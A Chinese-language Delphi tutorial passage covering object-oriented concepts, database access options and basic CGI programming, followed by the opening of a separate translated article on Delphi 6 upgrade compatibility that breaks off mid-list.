    不但Delphi的VCL，Visual C++中的著名的MFC（Microsoft Foundation Class,微软基本类库），以及以前Borland C++中风光一时的OWL（Object Window Library，对象窗口类库），都是建立在这种机制之上。所不同的是，对于前两种语言，你要花上好几个月的功夫去基本掌握那些繁复无比的类，才能写出比较有实用价值的程序，而在Delphi中，大部分的工作Delphi都已经自动帮你完成了。例如，每次你向程序中加入一个窗体时，Delphi就自动为你从TForm派生一个新类（默认为TForm1），并且为这个新类创造一个实例。你对这个窗体的改动（添加构件和代码之类），无非是为这个派生类加入一些新的特性而已；你再也用不着自己去处理最大化、最小化、改变大小这一类的情况，因为这些代码都在基类中被实现，而被派生类所继承了。这就是Delphi的伟大之处。当然，Delphi的VCL也绝不比MFC或OWL逊色（事实上它是由后者演变而来）。
    （可能有人会问起VB的情况。VB不支持继承，因此并没有什么复杂的类库，它自己的控件也少得可怜，主要是使用ActiveX控件。）。
    也许你已经若有所悟，为你的发现而心痒难骚了吧。但是，我们要讨论的东西当然不会仅仅这么简单。
    在1.1部分（“数据封装”），我们讲到了“Create方法是每一个Class都具有隐含的方法”。其实，这种说法是不准确的。事实是，在Delphi中，所有的类都默认继承自一个最基础的类TOject，甚至在你并未指定继承的类名也是如此。Create方法是TObject类具有的方法，因此理所当然，所有的类都自动获得了Create方法，不管你是否实现过它。想想看就知道了：如果没有Create方法的话，怎样建立一个对象呢？
    你可能注意到了Create方法是一个特殊的方法。不错，Create方法的确非常特殊，甚至于它的“头衔”不再是function或procedure，而是Constructor（构造器）。你可以在VCL的源码中见到这样一些例子：

    Constructor Create;

    构造器不仅是一个Delphi关键字，而且是一个OOP方法学的名词。与之相对应的，还有Destructor（毁坏器）。前者负责完成创建一个对象的工作，为它分配内存，后者负责释放这个对象，回收它的内存。要注意的一点是，Constructor的名字一般是Create，但Destructor的名字却不是Free，而是Destroy。例如：

    Destructor Destroy;

    那么，在以前的代码，为什么又使用Free来释放对象呢？二者的区别是，Destroy会直接释放对象，而Free会事实检查该对象是否存在，如果对象存在，或者对象不为nil，它才会调用Destroy。因此，程序中应该尽量使用free来释放对象，这样更加安全一些。（但要注意，free也不会自动将对象置为nil，所以在调用free之后，最好是再手动将对象置为nil。）
    象对待一般的函数或过程那样，也可以向构造器传递参数：

    type
    TDate = class
    private
    Mouth,day,Year:Integer;
    Public
    function LeapYear:Boolean;
    function GetText:String;
    Constructor Create(m,d,y:Integer);
    end;

    procedure TDate.Create(m,d,y):Integer;
    begin
    Mouth := m;
    Day := d;
    Year := y;
    end;

    调用它：

    ADay: TDate;
    begin
    ADay := TDate.create(1,1,2000);
    if ADay.LeapYear then
    ShowMessage('闰年：' + Inttostr(ADay.year));
    ADay.free;
    end;

    这样，在Create方法里就完成了对数据的初始化，而无须再调用SetValue方法了。

    接下来，我们将要涉及到另一个重要的、也是很有趣的问题：方法的虚拟与重载。
    可能你已经有点晕了吧……还是先看一个新的例子：

    type
    TMyClass = class
    procedure One;virtual;
    end;

    type
    TNewClass = class(TMyClass)
    procedure One;override;
    end;

    procedure TMyclass.One;virtual;
    begin
    ShowMessage('调用了TMyclass的方法！');
    end;

    procedure TNewClass.One; override;
    begin
    Inherited;
    ShowMessage('调用了TNewClass的方法！');
    end;

    可以看到，从TMyClass派生了一个新类TNewClass。这两个类都声明了一个名字相同的方法One。所不同的是，在TMyClass中，One方法后面多了一个Virtual关键字，表示这个方法是一个虚拟方法（Virtual Method）。而在TNewClass中，One方法后面多了一个Override关键字，表示该方法进行了重载（Override）。重载技术能够实现许多特殊的功能。
    让我们来仔细分析它们的实现部分。在TMyclass.One方法的实现部分，调用ShowMessage过程弹出一个对话框，说明该方法已被调用；这里没有任何特别的地方。在TNewClass.One方法中，出现了一条以前从未出现过的语句：

    Inherited;

    这个词的中文意思是“继承”。我们暂时不要去涉及到太过复杂的OOP概念，只要知道这条语句的功能就是了。它的功能是调用基类中相当的虚拟方法中的代码。例如，你如果使用以下代码：

    var
    AObject: TNewClass;
    begin
    AObject := TNewClass.create;
    AObject.One;
    AObject.free;
    end;

    那么程序将弹出两次对话框，第一次是调用TMyclass类中的One方法，第二次才是TNewClass.One方法中的代码。
    重载技术使得我们不但可以在派生类中添加基类没有的数据和方法，而且可以非常方便地继承基类中原有方法的代码，只需要简单地加入Inherited就可以了。如果你不加入Inherited语句，那么基类的相应方法将被新的方法覆盖掉。但是必须注意，重载只有在基类的方法被标志为Virtual时才能进行，而且重载的方法必须具有和虚拟方法完全相同的参数类型。
    虚拟方法还有一种特例，即抽象方法：

    procedure One;override;abstract;

    在One方法后面，不但有override关键字，还多了一个abstract关键字（意为抽象）。这种方法称为抽象方法（在C++中称为纯虚拟函数）。含有抽象方法的类称为抽象类。抽象方法的独特之处在于，它只有声明，而根本没有实现部分，如果你企图调用一个对象的抽象方法，你将得到一个异常。只有当这个类的派生类重载并实现了该方法之后，它才能够被调用。(在C++中，甚至根本就不能建立一个抽象类的实例。)
    既然如此，那么这种抽象方法又有什么用呢？这个问题我们将在接下来的“多态”部分进行讨论。

    1.3 多态

    多态相对来说比较复杂一点。不过不要担心，它的内容比较少，而且如果以前的知识掌握得比较稳固的话，多态的概念是水到渠成的。
    先来讨论一下类型的兼容性问题。下面是一个例子：

    type
    TAnimal = Class
    Procedure Voice;virtual;
    ...
    end;

    TDog = Class(TAnimal)
    Procedure Voice;Override;
    ...
    end;

    implementation

    Procedure TAnimal.Voice;virtual;
    Begin
    PlaySound('Anim.wav',0,snd_Async);
    End;

    Procedure TDog.Voice;virtual;
    Begin
    PlaySound('Dog.wav',0,snd_Async);
    End;

    TDog类继承了TAnimal类，并重载了其中的Voice方法。PlaySound是一个WIN API函数，可以播放指定的wav文件。（这个函数的定义在MMSystem.pas文件中可以找到。）
    先看这段代码：

    var
    MyAnimal1, MyAnimal2: TAnimal;
    Begin
    MyAnimal1 := TAnimal.Create;
    MyAnimal2 := TDog.Create;
    ...

    在实现部分的第一行中，建立了一个TAnimal类型的对象，并将其赋予TAnimal类型的变量MyAnimal1。这是很正常的事。但在第二行中，建立了一个TDog类型的对象，并将其赋予了TAnimal类型的变量MyAnimal2。这看上去令人吃惊，但这些代码是完全合法的。
    众所周知，Pascal以及Object Pascal是一种类型定义严格的语言，你不能将某个类型的值赋予不同类型的变量，例如将一个整型值赋予布尔型变量，将会导致出错。但是，这个规则在涉及到OOP领域时，出现了一个重要的例外，那就是：可以将一个子类的值赋予一个父类类型的变量。但倒过来却是不行的，一个父类的值决不能赋予一个子类类型的变量。
    如果将这个原则放到现实世界中，那就很容易理解了：“狗”继承自“动物”，因为狗也是一种动物。所以可以将一个“狗”类型的值赋予“动物”类型的变量，因为“狗”具有“动物”的一切特征。但反过来，“动物”不具有“狗”的所有特征，因此反向赋值是不行的。
    那么，这种兼容规则在编程中究竟有什么用处呢？
    请注意下面这段代码：

    var
    MyAnimal1, MyAnimal2: TAnimal;
    Begin
    MyAnimal1 := TAnimal.Create;
    MyAnimal2 := TDog.Create;
    MyAnimal1.Sound;
    MyAnimal2.Sound;
    ...

    MyAnimal1和MyAnimal2都是TAnimal的变量，而且都调用了Sound方法。但是，执行的结果是完全不同的：前者执行的是TAnimal.Voice的代码，而后者执行的是TDog.Voice的代码！其原因很简单，因为MyAnimal1被赋予了TAnimal类型的对象，而MyAnimal2被赋予了TDog类型的对象。也就是说，一个TAnimal类型的变量，当它调用Sound方法时，所执行的代码是不确定的：可能执行TAnimal.Voice的代码，也可能执行的是TDog.Voice的代码，取决于它当时引用的是一个什么样的对象。
    再看：

    MyAnimal1 := TAnimal.Create;
    MyAnimal1.Sound;
    MyAnimal1.free;
    MyAnimal1 := TDog.Create;
    MyAnimal1.Sound;
    ...

    同一个变量MyAnimal1，在第一次调用Sound方法时，执行的是TAnimal.Voice的代码，在第二次时执行的是TDog.Voice的代码。MyAnimal1.Sound这行代码不需要变化，程序可以根据不同的情况赋予该变量不同的对象，从而使它执行不同的代码。这就是多态的定义。
    这个非常重要的特点大大地增加了代码的可复用性。如前所述，只需要简单地写下一行代码，就可以让程序执行不同的功能，因为这个虚拟方法同TAnimal的任何派生类都是兼容的，甚至连那些还没有编写出来的类也是一样。而程序员并不需要了解这些派生类的细节。利用多态性写出来代码，还具有简洁和维护性好的特点。
    现在我们可以回到本文的1.2节结尾处的问题了。抽象方法本身不能够做任何事情，必须在子类中被重载并实现，才能够完成有意义的工作。但抽象方法的存在，相当于为父类留下了一个接口，当程序将一个子类的对象赋予父类的变量时，父类的变量就可以调用这个方法，当然此时它运行的是相应的子类中重载该方法的代码。如果没有这个抽象方法，父类的变量就不能调用它，因为它不能调用一个只在子类中存在、而在父类中不存在的方法！

    关于OOP的介绍就到此这止。在以上这些篇幅里，介绍的只是OOP最基本的一些概念，让读者对OOP有一定的系统认识，也为下文的讨论打好基础　。更多、更深入的东西等待着你自己去发掘。
    本文已经多次强调OOP的重要性，这里还要强调一次：对OOP的掌握程度，在某种意义上决定着你对Delphi世界的理解能力。

    2、数据库

    在相对枯燥的理论之后，我们终于要开始接触到一些比较激动人心的实际应用了。
    数据库编程是Delphi最强大的优势之一，恐怕也很少有Delphi程序员没有接触过数据库编程的。Delphi独特的Data-Aware构件，让很多初识Delphi的人为之目瞪口呆。不需要写任何代码，在几分钟之内就可以做出一个相当精巧的数据库程序，而且在开发期就可以看到运行期的结果，这真是不可思议啊！但是，Delphi强大无比的数据库开发能力，决不仅仅限于用几个构件操纵一下DBF或是Access数据库而已。你所看到只是冰山一角。让我们仔细说来。
    数据库虽然家族庞大，但一般来说可以分为两种：文件型数据库和C/S型数据库。下面分别讨论。

    2.1 文件型数据库
    所谓文件型数据库，顾名思义，是基于文件的（file-based），数据被按照一定格式储存在磁盘里，使用时由应用程序通过相应的驱动程序甚至直接对数据文件进行读取　。也就是说，这种数据库的访问方式是被动式的，只要了解其文件格式，任何程序都可以直接读取，这样就使得它的安全性相当糟糕。同时，在蓬勃兴起的网络应用，文件型数据库更是难有用武之地：效率低下，不支持很多SQL命令，不支持视图、触发器、存储过程等高级功能，等等。这些特点决定了它不适合大型的工程。
    最为大家所熟悉的文件型数据库可能就是DBF（DBase/Foxbase/Foxpro）数据库，在DOS时代风靡一时，相信很多人都有过抱着一本手册苦背Foxbase命令的回忆吧！其特点是，每个Table或Index都是一个独立的文件，使用相当简单，性能还可以，安全性非常的差，但应用非常广泛（主要是DOS时代遗留下来的，哪个单位没有两个用这种东东编出来的老古董程序呢？）。它在今天还能占有一席之地，其主要原因之一是，正因为简单和使用广泛，使得对它的访问是最容易的，甚至根本无需第三方的接口，就可直接对其进行字节级的读取　。
    除此之外，还有著名的Access数据库。这是MS Office里的构件之一，和DBF数据库不同，所有的文件都被整合在一个.mdb文件中，这样就避免了数据库变大之后管理上带来的麻烦。同时它还提供密码保护功能，安全性比DBF数据库要好很多。Access数据库除了一般的文本数据之外，还擅长于对多媒体数据的处理，在对声音、图像乃至基于OLE的对象进行处理时，令DBF数据库望尘莫及。随着微软战略的步步胜利，Access数据库也不断发展，凭借着优秀的性能和与MS Office的无缝结合，早已超越DBase系列，成为现今最强大的文件型数据库了。
    Delphi中附带的Paradox也是一种文件型数据库。它是Inprise公司自己的产品。因此和Inprise的系列开发工具配合得很不错。它支持密码保护，支持标准的SQL，性能也还不错，但是应用就不那么广泛了。和DBF数据库一样，它的每一个Table都是一个独立的文件，因此也有同样的管理问题。
    上文说到可以对文件型数据库直接读取，但实际编程中很少有人这么做。因为再简单的数据库其实也是相当复杂的，一步步分析它的格式，从底层实现所有的数据库应用，如果都要程序员去写的话，可能会把人累死。所以数据库的开发商将这些访问代码封装起来，向程序员开放，程序员只需要调用相应的接口就可以了。
    以DBF为例，使用DBase/Foxbase/Foxpro系列开发工具，可以用它自己的语法开发出应用程序。其中对DBF文件的具体操作被封装了。对于Access数据库，微软公布了一个DAO（Database Access Object），由一系列的DLL文件组成，封装了对.mdb文件的访问。使用VB的读者可能对DAO比较熟悉，只要在VB中嵌入DAO对象，就可以非常方便地访问Access数据库了。ODBC（Open DataBase Connection，开放数据库互连）也是一种封装，用意在于向开发人员提供一个统一的接口，通过这个接口可以访问任何支持ODBC的数据库，只要该数据库提供了相应的ODBC驱动。从这一点上来说，ODBC是一种更加高级的封装。目前几乎所有的主流的数据库都能被ODBC所支持。打开你的Windows的控制面板，就可以看到ODBC的图标。
    用Delphi写数据库程序的人免不了要同BDE打交道。BDE（Borland Dasebase Engine，Borland数据库引擎）是一个和ODBC类似的东西，Borland/Inprise本来企图用它来统一数据库接口。但后来Inprise在和微软的战争中败下阵来（ODBC是微软搞出来的），它又不肯放弃BDE，而是将其捆绑在Delphi/C++ Builder系列开发工具中，结果好象变成这些开发工具的一种附属品了。
    用BDE开发数据库程序相当容易。许多Delphi教科书在写到数据库开发这一章时，总是告诉你先在BDE中为某个DBF或Paradox数据库设置一个别名，然后往窗体上放一个TTable构件，然后将其DatabaseName指向相应的别名……然后，这个数据库中某个表的内容就在相应的Data-Aware构件中显示出来了。但是它们具体是怎么工作的呢？
    Delphi对数据库进行访问时，事实上通过了很多层次的连接。如下图：

    图1
    DataAware构件-DataSource构件-DataSet构件-BDE-数据库

    从这个图可以看出，BDE负责与具体的数据库打交道，而Dataset构件与BDE相连，DataSource构件与Dataset构件相连，最后才连接到显示具体数据的Data-Aware构件。在Delphi的构件面板上，Data Access页面中的构件一般属于DataSet构件，例如TTable、TQuery，只要指定它们的DatabaseName属性，就可以将它们与某个数据库建立连接。在Data Control页面中的构件一般是Data-Aware构件，例如TDBGrid，TDBEdit，TDBImage。它们的作用看上去与一般的Delphi构件相似，不同之处在于，可以通过一个DataSource构件作为中介，与DataSet构件相连，并自动显示相应的数据。
    用Delphi的数据库构件建立一个应用程序是如此之方便，但是如果深入下去，会发现事情并不简单。你可以尝试自己编写代码，访问数据库中字段，而不是通过Data-Aware构件由用户来编辑。如何做到这一点呢？秘密在于Field构件。
    可以说，Field构件是Delphi数据库应用程序的基础　。当打开一个DataSet构件时，相应的数据会被读取，并储存在TTable或TQuery构件的Fields属性中。这个属性被定义为Field数组。通过直接访问数组，可以使用它们，例如：

    Table1.Fields[0].AsInteger;

    这段代码访问了Table1中当前记录的第一个字段，该字段的类型为Integer。
    也可以通过使用FieldbyName属性来使用它们：

    Table1.FieldbyName('Last Name').AsString;

    这段代码访问了Table1中当前记录的名为Last Name的字段，该字段的类型为String。
    事实上，Data-Aware构件就是通过访问DataSet构件的Fields属性来使用数据的。弄明白了这一点之后，你自己也可以尝试改写一个常规的显示构件，使之具有Data-Aware的性质。其实，大多数使用Delphi的数据库高手并不喜欢使用Data-Aware构件，因为Data-Aware构件远不用常规的构件来得灵活。DataSet构件除了Fields属性之外，还具有数目众多的特殊属性、方法和事件，足以应付从小型文本数据库到大型网络数据库的所有应用。本文不拟一一讨论它们，如果读者能将它们的运用烂熟于心的话，可以说应付数据库编程就不会有多大问题了。
    请将注意力再次集中到图1。在图1的最后一环，可以看到BDE连接到了具体的数据库。其实，在这一环中，也是有几个层次的。理论上来说，BDE可以连接任何类型的数据库。对于一些比较简单的数据库，例如ASCII（纯文本型的数据库）、dBase以及Delphi自己的Paradox，BDE可以直接访问。另外它也可以通过一些相应的驱动，访问特定的数据库，例如通过DAO访问Access数据库。对于不能直接支持的数据库，BDE还可以连接到ODBC，通过ODBC进行访问，虽然这样效率比较低。
    这种性质决定了BDE是一个相当庞大的东西。使用了BDE的Delphi程序，必须有BDE才能工作，所以必须同BDE一起发布。这样往往造成这样一种情况：只有几百K的应用程序，在将整个BDE加入之后，体积将近10M！这对于以轻薄短小为长的文件型数据库，简直是一个致命的弱点。而且由于BDE要兼容太多的数据库，本身也有不稳定的毛病，往往出现令人头疼的问题。同时，通过安装程序安装BDE驱动和设置数据库别名也是一件很麻烦的事情，这一切使得BDE在Delphi程序员中很不受欢迎。在网上的Delphi技术论坛里，经常可以看到对BDE的一片咒骂之声……那么，有什么办法可以绕过BDE吗？
    有的。目前来说，至少有以下三种方法：
    (1) 使用第三方构件。
    Inprise自己也很早就意识到了BDE的问题，虽然他们不肯放弃BDE，但是从Delphi3起，仍然对程序员提供了一个不错的选择：创建自定义的DataSet构件。Delphi的开发者们把所有有关BDE的东西从TDataSet类中移走，放入了新的TBDEDataSet类（TBDEDataSet类是TDataSet类的子类）。TDataSet类被重新构造，其核心功能被虚拟化。因此，你只需要从TDataSet类派生一个自己的新类，并重载一些指定的虚拟方法（用以访问具体的数据库），你就可以得到一个自己的DataSet构件。它与BDE完全无关，但可以象Delphi自己的DataSet构件一样被使用，例如，访问其Fields属性，乃至与Delphi的Data-Aware构件一起工作！
    于是出现了大量的第三方构件，它们可以访问某种特定的数据库。下面是一些比较常见的访问文件型数据库或ODBC的第三方构件：

    表2

名称 | 支持的数据库类型
Diamond | Access
Halcyon | DBase/Foxpro
Apollo | DBase/Foxpro
mODBC | 任何ODBC数据库
ODBC Express | 任何ODBC数据库

    这些控件被广泛使用，在国内，就作者所知，财智家庭理财软件使用了Diamond，而“追捕”（一个显示指定IP的地址位置的共享软件）使用了Halcyon。在使用这些第三方构件之后，软件终于可以“轻装上阵”，再也不用为BDE头疼了。
    (2) 使用ADO。
    在Delphi5中，Inprise终于提供了一个比较彻底的解决方法，那就是ADO构件。从原理上来说，ADO与上述的第三方构件并无多大区别，只是它是Inprise官方开发的；同时，它连接的不是某个具体的数据库，而是微软提供的ADO对象。
    ADO（ActiveX Data Object，ActiveX数据对象）是微软提出的新标准，从理论上来，能够支持任何类型的数据库（甚至包括流式数据）。微软力图将它树为新的统一数据库接口，吹嘘了它的许多优点。Inprise一直是微软不共戴天的竞争对手，对微软的标准嗤之以鼻（BDE即是一例），但是由于种种原因，Inprise终于承认了ADO。平心而论，用ADO来取代BDE的确是一个不错的解决方案，而且在Delphi中使用ADO也相当方便。从形势看，ADO应该是未来的方向。但是，ADO本身也是相当大的。
    (3) 从最底层开发一个完整的数据库引擎。
    这是最彻底的办法。彻底抛弃Delphi的数据库支持，从字节开始，开发自己的数据库。这种方法有其好处：第一，不用考虑兼容性问题，例如不用去考虑用户的数据库文件是Access 97格式还是Access 2000格式的；第二，可以在性能上达到最充分的优化，因为不需要通过任何通用接口，而是直接对磁盘文件进行操作，这对于一些对性能要求苛刻的程序是很有用的；第三，能够最大限度地减少冗余代码，因为这种数据库往往是特定格式的，而且只需要执行一些特定的操作，访问代码当然要比通用数据库精简得多。但这种方法的负面问题也显而易见，那就是庞大的工作量。再简单的数据库也是相当复杂的，从最底层实现一个完整的数据库引擎，往往需要几千行代码，以及耐心和经验。
    虽然听起来有些极端，但这样做的也不乏其人。著名的Foxmail就是使用了自定义的数据库格式来储存信件、地址本等有关信息。另一个共享软件“电子书库”也使用了自定义的.srm格式。作者开发的iCompanion（网络伴侣）也是使用自定义格式来储存网络记录的。
    限于篇幅，这里就不再对具体的程序进行详细的分析了。要补充的一点是，作者曾使用Diamond开发过Rich Explorer，这是一个专门用于浏览著名的大富翁论坛的离线数据库（Access格式）的阅读器。在作者的主页上，可以找到Rich Explorer的全部源代码，它完整地展示了一个使用第三方构件访问特定数据库的程序（没有使用Data-Aware控件），代码也比较简单，适合于初学者分析，有心的读者不妨作为参考。

    2.2 C/S型数据库
    C/S（Client/Server，客户机/服务器）型数据库是当前数据库应用的主流。
    与文件型数据库不同的是，C/S型数据库应用程序由两个部分组成：服务器和客户机。服务器指数据库管理系统（Database Manage System，DBMS），用于描述、管理和维护数据库的程序系统，是数据库系统核心组成部分，对数据库进行统一的管理和控制。客户机则将用户的需求送交到服务器，再从服务器返回数据给用户。
    C/S型数据库非常适合于网络应用，可以同时被多个用户所访问，并赋予不同的用户以不同的安全权限。C/S型数据库支持的数据量一般比文件型数据库大得多，还支持分布式的数据库（即同一数据库的数据库位于多台服务器上）。同时，C/S型数据库一般都能完善地支持SQL语言（所以也被称作SQL数据库）。这些特性决定了C/S型数据库适合于高端应用。
    常见的C/S型数据库有著名的Oracle, Sybase, Informix, 微软的Microsoft SQL
    server, IEM的DB2，以及Delphi自带的InterBase，等等。
    C/S型数据库涉及到非常多的高级特性，是Delphi中，也是整个计算机领域中最大的应用之一。由于本期附录中已有专文讨论，本文就不拟详细介绍了。
    随着技术的不断更新，C/S型的结构也开始逐渐被多层（Multi-Tiered）数据库模型所取代。
    上面说到，C/S型数据库程序由服务器和客户机两个部分组成，因此被称为双层（two-tiered）模型。文件型数据库程序则被称为单层（single-tiered）模型。单层模型是最原始的数据库模型。后来程序员们将数据库转移到一个强大的中央服务器上，让它为多个功能较弱的客户机提供服务，这样双层模型出现了。双层模型在金融、电力、通信等领域被广泛使用，极大地推动了网络数据库的发展。但是，双层模型也逐渐暴露出其不足的一面。在这种情况下，出现了三层模型：应用程序中的数据模块部分被分离出来，转移到一个单独的服务器上，成为独立的一层。三层和三层以上的模型，统称为多层模型。
    ` 简言之，三层模型由以下三个层次组成：

    客户机-应用程序服务器-数据库服务器

    用户的请求首先通过客户机向应用程序服务器发出，应用程序服务器再向数据库服务器发出具体的数据访问命令（一般是SQL），数据库服务器返回的数据被应用程序服务器重新组织之后返回给客户机。
    可以看出，三层模型是双层模型的扩展。目前我们无需了解三层模型的所有技术细节，以及它对于双层模型的优势，只需要大致理解这个模型的结构就可以了。
    B/S模型无疑是当前最为流行的多层数据库模型之一。也许你已经听说过B/S这个名词，它是Brower/Server（浏览器/服务器）的缩写。Brower是指IE/Netscape这样的浏览器，Server包括数据库服务器和应用程序服务器。用户通过浏览器发出某个请求，通过应用程序服务器-数据库服务器之间一系列复杂的操作之后，返回相应的Html页面给浏览器。
    是不是觉得十分熟悉？对了，其实这就是大家再熟悉不过的Internet上的WEB数据库，当然它也可以用于局域网。它实际上可以说是一种最常见的多层模型。
    在对数据库的发展进行回顾之后，我们终于赶上了最流行的步伐。但是，也许有人在这里却感到泄气了。因为他听说现在的WEB数据库编程，是Perl、ASP、PHP、JAVA这些语言的天下。难道我们一直忠实追随的Delphi，在面对当代最流行的Web数据库的时候，竟然面临淘汰的命运？
    不，不是的。其实Delphi对Web数据库的开发提供了非常良好的支持，特别是依据强大的数据库支持和可视化编视的特点，它有着其他语言不可比拟的优势。
    下面的内容将集中于用Delphi开发Web数据库。
    首先要从Web本身讲起。平时我们浏览的Web页面，一般可以分为两种。一种是静态页面，这种页面是文本格式的html文件。但是，要响应用户的不同需求，从而反馈给用户不同的页面，就必须使用动态页面技术了。例如，根据用户输入的名字，迅速在数据库中查找到相应的数据，并动态生成一个页面返回给用户。
    怎样实现动态页面技术呢？最早的一种方法是CGI（Common Gateway Interface，通用网关接口）。这种接口允许浏览器发送和接收数据，并且基于应用程序的命令行进行输入和输出。当浏览器发出指向应用程序的请求时，Web服务器会自动启动该程序，并在浏览器和应用程序之间传递输入和输出的数据。实现CGI的语言有很多种，其中比较流行的是Perl。另外，还有一种特殊的WinCGI。WinCGI与普通CGI的区别是，它通过INI文件来代替命令行参数作为输入输出，这主要是为Visual Basic设计的，因为VB不能访问环境变量。Delphi对这两种CGI都提供了很好的支持，可以编写出非常复杂的CGI程序。
    第二种方法是使用Web服务器内置的API接口。用这种接口编写出来的Dll文件，被Web服务器装载到自己的内存空间中，当服务器接收到相应的页面请求时，它将启动一个新的线程来执行Dll中的相应代码。由于不需要执行外部的EXE文件，这种程序的速度非常快。这种API主要有ISAPI（Internet Server API）和NSAPI（Netscape Server API），其中前者已经成为事实上的标准。Delphi对这两种API也提供了很好的支持。提得一提的是，Delphi的C/S版提供了一个通用的类框架，消除了CGI、WinCGI和ISAPI之间的区别，这样，我们可以轻松地将一个应用程序在这三者之间转换。
    还有一种是Web服务器内置的脚本语言，可以被简单地嵌入html文件，通过Web服务器的解释执行来产生动态页面。著名的ASP、PHP、JSP都属于此类。这看起来和Delphi没有什么关系，但事实上，Delphi也能提供对ASP的强力支持！ASP的初学者可能会把注意力都集中在它的脚本语言上，其实ASP是由三部分组成的：脚本、组件和html。光是掌握脚本和ASP原有的组件特性是远远不够的，只有自行开发组件，才能实现真正复杂、高效的应用。Delphi就非常适合开发这种组件。国内著名大富翁论坛，就是基于Delphi+ASP的成功例子，同时它还公布了所有的源代码，可供借鉴。
    让我们先建立一个程序。这个程序和以往的Delphi不同，要求删除所有的窗体和多余的代码，最后只剩下这么一段：

    program CgiDate;

    {$APPTYPE CONSOLE} //这行编译器指令表示这是一个控制台程序，不需要窗体，在终端窗口中输出

    uses
    sysutils;

    begin
    writeln('HTTP/1.0 200 OK');
    writeln('CONTENT-TYPE: TEXT/HTML');
    writeln;
    writeln('<html> <head>');
    writeln(' <title>Time</title>');
    writeln('</head><body>');
    writeln('<h1>Time at this site</h1>');
    writeln('<hr>');
    writeln('<h3>');
    writeln(formatdatatime('"Today is " dddd,mmmm d,yyyy,' + '"<br> and the time is "hh:mm:ss AM/PM',now));
    writeln('<h3>');
    writeln('<hr>');
    writeln('</body></html>');
    end;

    编译后，将该程序置于Web服务器下的有scripts权限的子目录中，并用浏览器访问它，就可以得到一个关于当前时间和日期的页面。
    分析一下这段代码。格式很简单，都是用writeln生成标准输出。首先的两行生成html的描述，中间空一行，接下来的代码生成了一个完整的html文件。这个文件被返回给浏览器并显示出来。与静态页面不同是，有一行html文本是通过formatdatatime函数动态生成的，因此根据当前时间的不同会有不同的显示。
    这就是一个最简单的CGI程序。虽然简单，但已经可以看出CGI程序的基本工作原理：通过标准输入输出产生动态的html页面。
    在这个基础之上，可以方便地实现对数据库的访问，并生成相应的html。
    下面是一个例子：

    var:
    Table1:TTable;
    Begin
    Showheader; // Showheader过程生成html文件的头部，代码与上例相似
    Table1 := TTable.create(nil);
    Try
    Table1.Databasename := 'DBDEMOS';
    Table1.tablename := 'Employee.db';
    Table1.indexname := 'Byname';
    Table1.open;
    ShowTabindex; //显示表中的列
    Finally
    Table1.close;
    Table1.free;
    End;
    Writeln('</body></html>');
    End;

    这段代码动态建立了一个Table对象，并将它与DBDEMOS数据库中的表Employee.db相连（当然这些必须先在BDE中设置）。ShowTabindex过程显示了该表中的两个列：

    procedure ShowTabindex;
    begin
    table1.frist;
    writeln('<ul>');
    while not table1.eof do
    begin
    writeln(format('<li>s%s%',[table1.fieldbyname('FirstName').AsString, table1.fieldbyname('LastName').AsString]);
    Table1.Next;
    End;
    Writeln('</ul>');
    End;

    ShowTabindex函数遍历了整个表，并将所有的FirstName和LastName字段打印出来。
    在此基础之上，可以产生复杂的动态页面，实现对数据库的各种操作。当然，实践中的问题决不仅仅这么简单，例如，读取有关的环境变量，要使用特殊的GetEnvironmentVariable变量，生成相应的URL，需要相应的http知识，产生供用户提交请求的页面，需要了解html表单的格式……但是，本文的目的不在于探讨技术细节，而是着重于基本概念和原理的了解，因此不再详述，请读者自己深入学习。
    上面已经说过，在Delphi中可以轻松地将一个应用程序在CGI、WinCGI和ISAPI之间转换。上面这两个例子生成的是EXE文件，因此是CGI（或WinCGI，取决于使用环境变量还是INI文件）程序。如果要改成ISAPI方式，除了要编译成DLL文件之外，输入输出的部分也需要进行修改，实现三个特殊的函数：
    GetExtensionversion
    TerminateExtension
    HttpExtensionProc
    Web服务器在装载DLL、卸载DLL和请求DLL时会分别调用这三个函数，程序可以通过它们与浏览器进行交互。具体的实现，这里也不详述了。

    通过以上几个专题的学习，相信读者对Delphi的了解更深了一层。本文旨在帮助读者理解一些相对比较高级的概念和原理，很多地方只是介绍了最基础的东西，没有展开。如果深入下去，将会产生很多章庞大的内容。因此，读者在入门之后，需要更多的自己的努力。

    下面是作者推荐的一些资料：
    书籍：
    《Delphi5从入门到精通》，Marco Cantu著，电子工业出版社。在Delphi世界中，Marco Cantu作为书籍作者可说是人人皆知，Delphi从入门到精通系列更是绝对的经典。这本书虽然并不面向高端用户，但它全面地论述了Delphi编程中的各个方面，象组件开发、多线程、图象处理、报表打印　、I/O、数据库、Internet应用等等，是亟待提高的初学者的不二之选　。
    《Delphi4编程技术内幕》，Charlie Calvert著，机械工业出版社。作者是一位经验极其丰富的高级程序员，用深入浅出的语言，将Delphi中的许多复杂问题一一道来，令人豁然开朗。丰富的内容和独特的风格让这本书的读者不但有技术上的收获，而且有阅读上的快乐。很多人吐血推荐的东东，高手案头必备之物。
    《Delphi3开发使用手册》，机械工业出版社。由Delphi的内部开发人员所著，权威性可见一斑。虽然它的可读性并不是很好，但其全面、深入、权威的介绍，使得本书可以当作Delphi的使用手册来读。哪怕在Delphi5已经发布的今天，这本书仍然有其不可替代的位置。
    网络资源：
    大富翁论坛（http://www.delphibbs.com/），国内最著名的Delphi技术论坛，几乎所有的国产Delphi高手都聚集在那里，代表着中国大陆Delphi世界的最高水平。练功场上有大量公开的程序源码和编程资料，丰富实用的论坛离线数据库更是每个Delphi程序员的必备。
    深度历险（http://www.vclxx.com），最大的中文Delphi控件下载中心，更新迅速，本文中提到的一些控件可在此下载。
    无双谱（http://onekey.yeah.net），作者的个人主页，本文中提到的一些程序源码与控件可在此下载。


CSDN_文档中心_升级到Delphi 6 - 兼容性问题（中文全文）

升级到Delphi 6

原著：Borland Corporation

翻译：Musicwind®

日期：2001-07-11

声明：

以下文章的内容取自Delphi 6附带的帮助文件。

版权所有Borland Corporation。

翻译此稿事先没有得到Borland的批准，鲁莽之处，恳请Borland多多原谅。

总则

打开Delphi 5 （或更早版本）的工程，新版本会自动对其进行升级。以下将要介绍的是新版本中可能会对现有的Delphi工程带来潜在影响的一些改动。

IDE（集成开发环境）特性

包名称的自动更新

兼容性问题

想要了解更多其他信息，请参考”Delphi6新特性”这一部分的内容。

兼容性问题

以下列出的是可能影响你的Delphi应用程序的几个大的方面：

一． 由于VCL体系结构的变化而引起的Provider和Client Dataset 的一些事件的变动

TCustomClientDataSet的引入，使得Delphi 5或早期版本中的事件处理机制有些改动。

DBCLIENT.PAS单元中有5种类型的6个事件发生了变化，他们分别是:

